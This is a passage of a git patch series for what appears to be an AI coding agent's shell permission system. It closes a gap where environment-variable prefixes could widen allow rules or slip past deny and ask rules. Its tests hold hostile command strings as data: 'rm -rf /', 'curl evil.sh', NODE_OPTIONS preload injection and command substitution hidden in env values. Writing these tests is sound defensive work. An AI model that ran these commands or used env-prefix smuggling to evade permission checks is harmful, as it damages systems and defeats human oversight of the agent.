packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + git commit -m "fix(core): address env-prefix permission review findings" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 34729bb7cbe69377f0bac187ed0dec7ea9ed7849 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Sat, 29 Aug 2026 21:16:42 +0200 Subject: [PATCH 19/36] chore: apply PR fix before install build --- .github/workflows/apply-pr10212-review-fixes.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/apply-pr10212-review-fixes.yml b/.github/workflows/apply-pr10212-review-fixes.yml index f0da5a1786e..8b81a76cf10 100644 --- a/.github/workflows/apply-pr10212-review-fixes.yml +++ b/.github/workflows/apply-pr10212-review-fixes.yml @@ -24,12 +24,12 @@ jobs: node-version: 22.23.2 cache: npm - - name: Install dependencies - run: npm ci - - name: Apply reviewed source patch run: python3 scripts/pr10212-review-fixes.py + - name: Install dependencies + run: npm ci + - name: Format changed sources run: | npx prettier --write \ From 5fe7fa7d553458576f8960ae65044b48afbc3ec1 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 <298325363+SLP-DEV1@users.noreply.github.com> Date: Sat, 29 Aug 2026 19:22:25 +0000 Subject: [PATCH 20/36] fix(core): address env-prefix permission review findings --- .../workflows/apply-pr10212-review-fixes.yml | 93 --- .../core/src/permissions/dangerousRules.ts | 2 +- .../src/permissions/permission-manager.ts | 95 ++- .../rule-parser.env-prefix.test.ts | 140 +++- packages/core/src/permissions/rule-parser.ts | 183 +++-- .../core/src/utils/shellAstParser.test.ts | 10 +- packages/core/src/utils/shellAstParser.ts | 22 +- scripts/pr10212-review-fixes.py | 672 ------------------ 8 files changed, 361 insertions(+), 856 deletions(-) delete mode 100644 .github/workflows/apply-pr10212-review-fixes.yml delete mode 100644 scripts/pr10212-review-fixes.py diff --git a/.github/workflows/apply-pr10212-review-fixes.yml b/.github/workflows/apply-pr10212-review-fixes.yml deleted file mode 100644 index 8b81a76cf10..00000000000 --- a/.github/workflows/apply-pr10212-review-fixes.yml +++ /dev/null @@ -1,93 +0,0 @@ -name: Apply PR 10212 review fixes - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/apply-pr10212-review-fixes.yml - -permissions: - contents: write - -jobs: - apply-and-validate: - runs-on: ubuntu-latest - timeout-minutes: 30 - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22.23.2 - cache: npm - - - name: Apply reviewed source patch - run: python3 scripts/pr10212-review-fixes.py - - - name: Install dependencies - run: npm ci - - - name: Format changed sources - run: | - npx prettier --write \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - - - name: Build core - run: npm run build --workspace @qwen-code/qwen-code-core - - - name: Typecheck core - run: npm run typecheck --workspace @qwen-code/qwen-code-core - - - name: Lint changed sources - run: | - npx eslint --max-warnings 0 \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - - - name: Run focused regression suite - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/permissions/shell-semantics.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts \ - packages/core/src/utils/shell-utils.test.ts - - - name: Verify formatting - run: | - npx prettier --check \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - - - name: Commit validated source changes and self-cleanup - run: | - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git rm .github/workflows/apply-pr10212-review-fixes.yml scripts/pr10212-review-fixes.py - git add \ - packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/dangerousRules.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/utils/shellAstParser.ts \ - packages/core/src/utils/shellAstParser.test.ts - git commit -m "fix(core): address env-prefix permission review findings" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/packages/core/src/permissions/dangerousRules.ts b/packages/core/src/permissions/dangerousRules.ts index 4962dfef061..1567919384a 100644 --- a/packages/core/src/permissions/dangerousRules.ts +++ b/packages/core/src/permissions/dangerousRules.ts @@ -253,4 +253,4 @@ export function findDangerousAllowRules( allowRules: readonly PermissionRule[], ): PermissionRule[] { return allowRules.filter(isDangerousAllowRule); -} \ No newline at end of file +} diff --git a/packages/core/src/permissions/permission-manager.ts b/packages/core/src/permissions/permission-manager.ts index 86e47032538..733bbc86107 100644 --- a/packages/core/src/permissions/permission-manager.ts +++ b/packages/core/src/permissions/permission-manager.ts @@ -10,6 +10,7 @@ import { matchesRule, resolveToolName, splitCompoundCommand, + stripLeadingVariableAssignments, SHELL_TOOL_NAMES, toolMatchesRuleToolName, } from './rule-parser.js'; @@ -411,6 +412,21 @@ export class PermissionManager { toolAliases, ] as const; + const restrictiveCommand = + command !== undefined && SHELL_TOOL_NAMES.has(toolName) + ? stripLeadingVariableAssignments(command) + : command; + const restrictiveMatchArgs = [ + toolName, + restrictiveCommand, + filePath, + domain, + pathCtx, + specifier, + toolParams, + toolAliases, + ] as const; + // Compute the base decision from explicit Bash/file/domain rules. // Using an IIFE to keep the priority-cascade logic clean. const baseDecision: PermissionDecision = (() => { @@ -421,14 +437,24 @@ export class PermissionManager { ...this.sessionRules.deny, ...this.persistentRules.deny, ]) { - if (matchesRule(rule, ...matchArgs, 'canonical')) return 'deny'; + if ( + matchesRule(rule, ...matchArgs, 'canonical') || + (restrictiveCommand !== command && + matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) + ) + return 'deny'; } // Priority 2: ask rules for (const rule of [ ...this.sessionRules.ask, ...this.persistentRules.ask, ]) { - if (matchesRule(rule, ...matchArgs, 'canonical')) return 'ask'; + if ( + matchesRule(rule, ...matchArgs, 'canonical') || + (restrictiveCommand !== command && + matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) + ) + return 'ask'; } // Priority 3: allow rules for (const rule of [ @@ -995,11 +1021,30 @@ export class PermissionManager { toolAliases, ] as const; + const restrictiveCommand = + command !== undefined && SHELL_TOOL_NAMES.has(toolName) + ? stripLeadingVariableAssignments(command) + : command; + const restrictiveMatchArgs = [ + toolName, + restrictiveCommand, + filePath, + domain, + pathCtx, + specifier, + toolParams, + toolAliases, + ] as const; + for (const rule of [ ...this.sessionRules.deny, ...this.persistentRules.deny, ]) { - if (matchesRule(rule, ...matchArgs, 'canonical')) { + if ( + matchesRule(rule, ...matchArgs, 'canonical') || + (restrictiveCommand !== command && + matchesRule(rule, ...restrictiveMatchArgs, 'canonical')) + ) { return rule.raw; } } @@ -1150,9 +1195,27 @@ export class PermissionManager { toolAliases, ] as const; + const restrictiveCommand = + command !== undefined && SHELL_TOOL_NAMES.has(toolName) + ? stripLeadingVariableAssignments(command) + : command; + const restrictiveMatchArgs = [ + toolName, + restrictiveCommand, + filePath, + domain, + pathCtx, + specifier, + toolParams, + toolAliases, + ] as const; + return ( - restrictiveRules.some((rule) => - matchesRule(rule, ...matchArgs, 'canonical'), + restrictiveRules.some( + (rule) => + matchesRule(rule, ...matchArgs, 'canonical') || + (restrictiveCommand !== command && + matchesRule(rule, ...restrictiveMatchArgs, 'canonical')), ) || allowRules.some((rule) => matchesRule(rule, ...matchArgs)) ); } @@ -1248,8 +1311,26 @@ export class PermissionManager { toolAliases, ] as const; - return askRules.some((rule) => - matchesRule(rule, ...matchArgs, 'canonical'), + const restrictiveCommand = + command !== undefined && SHELL_TOOL_NAMES.has(toolName) + ? stripLeadingVariableAssignments(command) + : command; + const restrictiveMatchArgs = [ + toolName, + restrictiveCommand, + filePath, + domain, + pathCtx, + specifier, + toolParams, + toolAliases, + ] as const; + + return askRules.some( + (rule) => + matchesRule(rule, ...matchArgs, 'canonical') || + (restrictiveCommand !== command && + matchesRule(rule, ...restrictiveMatchArgs, 'canonical')), ); } diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts index 18e3ac61f0d..32c96268a03 100644 --- a/packages/core/src/permissions/rule-parser.env-prefix.test.ts +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -5,15 +5,25 @@ */ import { describe, expect, it } from 'vitest'; +import { evaluatePermissionRules } from '../core/permission-helpers.js'; +import { extractCommandRules } from '../utils/shellAstParser.js'; +import { + findDangerousAllowRules, + isDangerousBashRule, +} from './dangerousRules.js'; import { PermissionManager } from './permission-manager.js'; import type { PermissionManagerConfig } from './permission-manager.js'; -import { matchesCommandPattern } from './rule-parser.js'; +import { matchesCommandPattern, parseRule } from './rule-parser.js'; -function makeConfig(allow: string[]): PermissionManagerConfig { +function makeConfig( + allow: string[] = [], + ask: string[] = [], + deny: string[] = [], +): PermissionManagerConfig { return { getPermissionsAllow: () => allow, - getPermissionsAsk: () => [], - getPermissionsDeny: () => [], + getPermissionsAsk: () => ask, + getPermissionsDeny: () => deny, getProjectRoot: () => '/repo', getCwd: () => '/repo', getApprovalMode: () => 'default', @@ -28,17 +38,11 @@ describe('matchesCommandPattern environment prefixes', () => { ); }); - it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { + it('does not let static env prefixes inherit exact or prefix rules', () => { expect( matchesCommandPattern('npm --version', 'FOO=bar npm --version'), ).toBe(false); expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); - expect( - matchesCommandPattern( - 'python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(false); }); it('does not let NODE_OPTIONS widen an npm allow rule', () => { @@ -59,16 +63,19 @@ describe('matchesCommandPattern environment prefixes', () => { ).toBe(false); }); - it('also covers substitution-bearing env assignments from #10192', () => { + it('also covers both substitution forms from #10192', () => { expect( matchesCommandPattern( 'npm --version', 'X=$(printf hidden) npm --version', ), ).toBe(false); + expect( + matchesCommandPattern('npm --version', 'X=`printf hidden` npm --version'), + ).toBe(false); }); - it('allows an env-prefixed command when the rule explicitly includes it', () => { + it('allows an env-prefixed command only when the rule includes it', () => { expect( matchesCommandPattern( 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', @@ -83,6 +90,42 @@ describe('matchesCommandPattern environment prefixes', () => { ).toBe(true); }); + it('preserves quoted env values while canonicalizing unquoted whitespace', () => { + expect(matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm')).toBe(true); + expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar\trm -rf /')).toBe( + true, + ); + expect(matchesCommandPattern('FOO=bar rm *', 'FOO=bar rm -rf /')).toBe( + true, + ); + expect(matchesCommandPattern('FOO=bar\trm *', 'FOO=bar rm -rf /')).toBe( + true, + ); + }); + + it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); + }); + + it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + }); + it('keeps the intentional Bash(*) allow-all behavior', () => { expect( matchesCommandPattern( @@ -91,17 +134,51 @@ describe('matchesCommandPattern environment prefixes', () => { ), ).toBe(true); }); +}); - it('fails closed end-to-end when only the unprefixed Bash command is allowed', async () => { - const pm = new PermissionManager(makeConfig(['Bash(npm --version)'])); - pm.initialize(); +describe('restrictive rules retain legacy env-prefix coverage', () => { + it('keeps deny and ask rules restrictive for env-prefixed commands', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); await expect( - pm.evaluate({ + denyPm.evaluate({ toolName: 'run_shell_command', - command: 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + command: 'FOO=1 rm -rf /', cwd: '/repo', }), - ).resolves.toBe('ask'); + ).resolves.toBe('deny'); + expect( + denyPm.findMatchingDenyRule({ + toolName: 'run_shell_command', + command: 'FOO=1 rm -rf /', + cwd: '/repo', + }), + ).toBe('Bash(rm -rf *)'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + const askCtx = { + toolName: 'run_shell_command', + command: 'FOO=bar git push --force', + cwd: '/repo', + } as const; + await expect(askPm.evaluate(askCtx)).resolves.toBe('ask'); + expect(askPm.hasMatchingAskRule(askCtx)).toBe(true); + }); + + it('hardens the production hasRelevantRules gate', async () => { + const pm = new PermissionManager(makeConfig([], [], ['Bash(rm -rf *)'])); + pm.initialize(); + const result = await evaluatePermissionRules(pm, 'allow', { + toolName: 'run_shell_command', + command: 'FOO=1 rm -rf /', + cwd: '/repo', + }); + expect(result.finalPermission).toBe('deny'); }); it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { @@ -118,3 +195,28 @@ describe('matchesCommandPattern environment prefixes', () => { ).resolves.toBe('ask'); }); }); + +describe('env-prefixed grant generation and AUTO classification', () => { + it('round-trips an Always-Allow rule through the matcher', async () => { + const rules = await extractCommandRules('FOO=bar npm install'); + expect(rules).toEqual(['FOO=bar npm install']); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar npm install', + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { + const python = parseRule('Bash(X=1 python *)'); + const npx = parseRule('Bash(FOO=bar npx *)'); + expect(isDangerousBashRule(python)).toBe(true); + expect(isDangerousBashRule(npx)).toBe(true); + expect(findDangerousAllowRules([python, npx])).toEqual([python, npx]); + }); +}); diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index aa79697e194..49bb42b41cc 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -971,56 +971,47 @@ export function matchesCommandPattern( // This function matches a single pattern against a single simple command. // Compound command splitting is handled by the caller (PermissionManager). const normalizedCommand = normalizeCommandForPermissionMatch(command); + const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); - // Special case: lone `*` matches any single command - if (pattern === '*') { + // Special case: lone `*` matches any single command. + if (normalizedPattern === '*') { return true; } - if (!pattern.includes('*')) { + if (!normalizedPattern.includes('*')) { + // An assignment-only rule is an identity, not a command prefix. Without + // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. + if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { + return normalizedCommand === normalizedPattern; + } + // No wildcards: prefix matching (backward compat). // "git commit" matches "git commit" and "git commit -m test" // but NOT "gitcommit". return ( - normalizedCommand === pattern || - normalizedCommand.startsWith(pattern + ' ') + normalizedCommand === normalizedPattern || + normalizedCommand.startsWith(normalizedPattern + ' ') ); } // Build regex from glob pattern with word-boundary semantics. - // - // We walk through the pattern character by character, building a regex. - // When we encounter `*`: - // - If preceded by a space: the space acts as a word boundary before `.*` - // - If preceded by non-space (or at start): `.*` with no boundary constraint - let regex = '^'; let pos = 0; - while (pos < pattern.length) { - const starIdx = pattern.indexOf('*', pos); + while (pos < normalizedPattern.length) { + const starIdx = normalizedPattern.indexOf('*', pos); if (starIdx === -1) { - // No more wildcards; rest is literal, then allow trailing args - regex += escapeRegex(pattern.substring(pos)); + regex += escapeRegex(normalizedPattern.substring(pos)); break; } - // Add literal part before the `*` - const literalBefore = pattern.substring(pos, starIdx); - - if (starIdx > 0 && pattern[starIdx - 1] === ' ') { - // Word-boundary wildcard: "ls *" - // The literal includes the trailing space. The `*` matches - // anything after that space (including empty = just "ls"). - // But the key insight: "ls " was already committed, so - // `ls` alone without a trailing space should also match. - // - // Rewrite: literal without trailing space + (space + anything | end) + const literalBefore = normalizedPattern.substring(pos, starIdx); + + if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { const literalWithoutTrailingSpace = literalBefore.slice(0, -1); regex += escapeRegex(literalWithoutTrailingSpace); regex += '( .*)?'; } else { - // No word boundary: "ls*" → `ls` followed by anything regex += escapeRegex(literalBefore); regex += '.*'; } @@ -1028,14 +1019,12 @@ export function matchesCommandPattern( pos = starIdx + 1; } - // If the pattern does NOT end with `*`, the regex already matches exactly. - // If it does end with `*`, the trailing `.*` handles it. regex += '$'; try { return new RegExp(regex, 's').test(normalizedCommand); } catch { - return normalizedCommand === pattern; + return normalizedCommand === normalizedPattern; } } @@ -1142,30 +1131,117 @@ function escapeRegex(s: string): string { return s.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); } -const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; +export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; -function normalizeCommandForPermissionMatch(command: string): string { +function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + for (const token of parse(command)) { + if (typeof token === 'string') { + tokens.push(token); + } else if (token && typeof token === 'object' && 'op' in token) { + if ( + token.op === 'glob' && + 'pattern' in token && + typeof token.pattern === 'string' + ) { + // shell-quote represents unquoted * / ? words as glob tokens. Keep + // the original word so env assignments remain recognizable. + tokens.push(token.pattern); + } else if (typeof token.op === 'string') { + tokens.push(token.op); + } + } + } + return tokens; +} + +/** + * Return a shell command with only leading NAME=value assignments removed. + * Restrictive deny/ask matching uses this legacy identity in addition to the + * full identity so the new allow hardening can never narrow a restriction. + */ +export function stripLeadingVariableAssignments(command: string): string { const trimmed = command.trim(); - if (!trimmed) { + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + if (firstCommandToken === 0) return trimmed; + return tokens.slice(firstCommandToken).join(' '); + } catch { return trimmed; } +} - try { - const tokens: string[] = []; - - for (const token of parse(trimmed)) { - if (typeof token === 'string') { - tokens.push(token); - } else if ( - token && - typeof token === 'object' && - 'op' in token && - typeof token.op === 'string' - ) { - tokens.push(token.op); - } +/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ +function collapseUnquotedWhitespace(command: string): string { + let result = ''; + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let pendingSpace = false; + + for (const ch of command) { + if (escaped) { + result += ch; + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + escaped = true; + continue; } + if (quote) { + result += ch; + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + quote = ch; + result += ch; + continue; + } + if (/\s/.test(ch)) { + if (result) pendingSpace = true; + continue; + } + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + } + return result; +} + +function isAssignmentOnlyPermissionPattern(pattern: string): boolean { + try { + const tokens = permissionMatchTokens(pattern); + return ( + tokens.length > 0 && + tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) + ); + } catch { + return false; + } +} + +function normalizeCommandForPermissionMatch(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); let firstCommandToken = 0; while ( firstCommandToken < tokens.length && @@ -1174,20 +1250,15 @@ function normalizeCommandForPermissionMatch(command: string): string { firstCommandToken++; } - // Environment assignments are part of the execution semantics. Any - // command-specific Bash pattern (exact, prefix, or glob) must not silently - // widen from `cmd` to arbitrary `NAME=value cmd` invocations, because - // runtimes and applications may interpret those variables before the - // trusted command runs. Preserve the original command whenever such a - // prefix is present so the rule must explicitly include it. The lone `*` - // rule is the intentional allow-all case. + // Allow rules bind to the complete env-prefixed execution identity, but + // shell-equivalent unquoted whitespace is canonicalized on both sides. if (firstCommandToken > 0) { - return trimmed; + return collapseUnquotedWhitespace(trimmed); } return tokens.join(' '); } catch { - return trimmed; + return collapseUnquotedWhitespace(trimmed); } } diff --git a/packages/core/src/utils/shellAstParser.test.ts b/packages/core/src/utils/shellAstParser.test.ts index 8f32755b341..57a5e6d545c 100644 --- a/packages/core/src/utils/shellAstParser.test.ts +++ b/packages/core/src/utils/shellAstParser.test.ts @@ -1060,10 +1060,16 @@ describe('extractCommandRules', () => { expect(await extractCommandRules(' ')).toEqual([]); }); - it('handles env var prefix', async () => { + it('preserves env var prefixes in generated rules', async () => { expect(await extractCommandRules('FOO=bar npm install')).toEqual([ - 'npm install', + 'FOO=bar npm install', ]); + expect(await extractCommandRules('FOO=bar npm install express')).toEqual([ + 'FOO=bar npm install *', + ]); + expect(await extractCommandRules('FOO=bar docker compose up -d')).toEqual( + ['FOO=bar docker compose up *'], + ); }); it('handles redirected command', async () => { diff --git a/packages/core/src/utils/shellAstParser.ts b/packages/core/src/utils/shellAstParser.ts index 6d564cf5789..33e6eb4840b 100644 --- a/packages/core/src/utils/shellAstParser.ts +++ b/packages/core/src/utils/shellAstParser.ts @@ -1261,6 +1261,19 @@ function extractRuleFromCommand(commandNode: SyntaxNode): string | null { const rootName = getCommandName(commandNode); if (!rootName) return null; + const nameNode = commandNode.childForFieldName('name'); + const envPrefix = nameNode + ? commandNode.namedChildren + .filter( + (child) => + /^variable_assignments?$/.test(child.type) && + child.endIndex <= nameNode.startIndex, + ) + .map((child) => child.text) + .join(' ') + : ''; + const qualifiedRoot = envPrefix ? `${envPrefix} ${rootName}` : rootName; + const argNodes = getArgumentNodes(commandNode); const argTexts = argNodes.map((n) => n.text); @@ -1271,12 +1284,12 @@ function extractRuleFromCommand(commandNode: SyntaxNode): string | null { } const knownSubs = KNOWN_SUBCOMMANDS[rootName]; - let rule = rootName; + let rule = qualifiedRoot; if (knownSubs && knownSubs.size > 0 && idx < argTexts.length) { const potentialSub = argTexts[idx]!.toLowerCase(); if (knownSubs.has(potentialSub)) { - rule = `${rootName} ${argTexts[idx]!}`; + rule = `${qualifiedRoot} ${argTexts[idx]!}`; // Docker multi-level: docker compose if ( @@ -1286,8 +1299,7 @@ function extractRuleFromCommand(commandNode: SyntaxNode): string | null { ) { const composeSub = argTexts[idx + 1]!.toLowerCase(); if (DOCKER_COMPOSE_SUBCOMMANDS.has(composeSub)) { - rule = `${rootName} compose ${argTexts[idx + 1]!}`; - // Remaining args after compose sub + rule = `${qualifiedRoot} compose ${argTexts[idx + 1]!}`; if (idx + 2 < argTexts.length) { rule += ' *'; } @@ -1295,7 +1307,6 @@ function extractRuleFromCommand(commandNode: SyntaxNode): string | null { } } - // Remaining args after subcommand if (idx + 1 < argTexts.length) { rule += ' *'; } @@ -1303,7 +1314,6 @@ function extractRuleFromCommand(commandNode: SyntaxNode): string | null { } } - // No known subcommand – if there are any args, append * if (argTexts.length > 0) { rule += ' *'; } diff --git a/scripts/pr10212-review-fixes.py b/scripts/pr10212-review-fixes.py deleted file mode 100644 index 99afb9ce168..00000000000 --- a/scripts/pr10212-review-fixes.py +++ /dev/null @@ -1,672 +0,0 @@ -from pathlib import Path - - -def replace_once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected one marker, found {count}') - return text.replace(old, new, 1) - - -def replace_region(text: str, start_marker: str, end_marker: str, new: str, label: str) -> str: - try: - start = text.index(start_marker) - end = text.index(end_marker, start) - except ValueError as exc: - raise SystemExit(f'{label}: marker not found') from exc - return text[:start] + new + '\n\n' + text[end:] - - -# --------------------------------------------------------------------------- -# rule-parser.ts -# --------------------------------------------------------------------------- -p = Path('packages/core/src/permissions/rule-parser.ts') -s = p.read_text() - -new_matches = r'''export function matchesCommandPattern( - pattern: string, - command: string, -): boolean { - // This function matches a single pattern against a single simple command. - // Compound command splitting is handled by the caller (PermissionManager). - const normalizedCommand = normalizeCommandForPermissionMatch(command); - const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); - - // Special case: lone `*` matches any single command. - if (normalizedPattern === '*') { - return true; - } - - if (!normalizedPattern.includes('*')) { - // An assignment-only rule is an identity, not a command prefix. Without - // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. - if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { - return normalizedCommand === normalizedPattern; - } - - // No wildcards: prefix matching (backward compat). - // "git commit" matches "git commit" and "git commit -m test" - // but NOT "gitcommit". - return ( - normalizedCommand === normalizedPattern || - normalizedCommand.startsWith(normalizedPattern + ' ') - ); - } - - // Build regex from glob pattern with word-boundary semantics. - let regex = '^'; - let pos = 0; - - while (pos < normalizedPattern.length) { - const starIdx = normalizedPattern.indexOf('*', pos); - if (starIdx === -1) { - regex += escapeRegex(normalizedPattern.substring(pos)); - break; - } - - const literalBefore = normalizedPattern.substring(pos, starIdx); - - if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { - const literalWithoutTrailingSpace = literalBefore.slice(0, -1); - regex += escapeRegex(literalWithoutTrailingSpace); - regex += '( .*)?'; - } else { - regex += escapeRegex(literalBefore); - regex += '.*'; - } - - pos = starIdx + 1; - } - - regex += '$'; - - try { - return new RegExp(regex, 's').test(normalizedCommand); - } catch { - return normalizedCommand === normalizedPattern; - } -}''' - -s = replace_region( - s, - 'export function matchesCommandPattern(', - '/**\n * Match a glob pattern against a value', - new_matches, - 'matchesCommandPattern', -) - -new_env_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; - -function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - for (const token of parse(command)) { - if (typeof token === 'string') { - tokens.push(token); - } else if (token && typeof token === 'object' && 'op' in token) { - if ( - token.op === 'glob' && - 'pattern' in token && - typeof token.pattern === 'string' - ) { - // shell-quote represents unquoted * / ? words as glob tokens. Keep - // the original word so env assignments remain recognizable. - tokens.push(token.pattern); - } else if (typeof token.op === 'string') { - tokens.push(token.op); - } - } - } - return tokens; -} - -/** - * Return a shell command with only leading NAME=value assignments removed. - * Restrictive deny/ask matching uses this legacy identity in addition to the - * full identity so the new allow hardening can never narrow a restriction. - */ -export function stripLeadingVariableAssignments(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - if (firstCommandToken === 0) return trimmed; - return tokens.slice(firstCommandToken).join(' '); - } catch { - return trimmed; - } -} - -/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ -function collapseUnquotedWhitespace(command: string): string { - let result = ''; - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let pendingSpace = false; - - for (const ch of command) { - if (escaped) { - result += ch; - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - escaped = true; - continue; - } - if (quote) { - result += ch; - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - quote = ch; - result += ch; - continue; - } - if (/\s/.test(ch)) { - if (result) pendingSpace = true; - continue; - } - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - } - - return result; -} - -function isAssignmentOnlyPermissionPattern(pattern: string): boolean { - try { - const tokens = permissionMatchTokens(pattern); - return ( - tokens.length > 0 && tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) - ); - } catch { - return false; - } -} - -function normalizeCommandForPermissionMatch(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - - // Allow rules bind to the complete env-prefixed execution identity, but - // shell-equivalent unquoted whitespace is canonicalized on both sides. - if (firstCommandToken > 0) { - return collapseUnquotedWhitespace(trimmed); - } - - return tokens.join(' '); - } catch { - return collapseUnquotedWhitespace(trimmed); - } -}''' - -s = replace_region( - s, - 'const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;', - '// ─────────────────────────────────────────────────────────────────────────────\n// File path matching (gitignore-style)', - new_env_helpers, - 'env helpers', -) -p.write_text(s) - - -# --------------------------------------------------------------------------- -# permission-manager.ts — restrictive rules match full + stripped identities. -# --------------------------------------------------------------------------- -p = Path('packages/core/src/permissions/permission-manager.ts') -s = p.read_text() -s = replace_once( - s, - ' splitCompoundCommand,\n 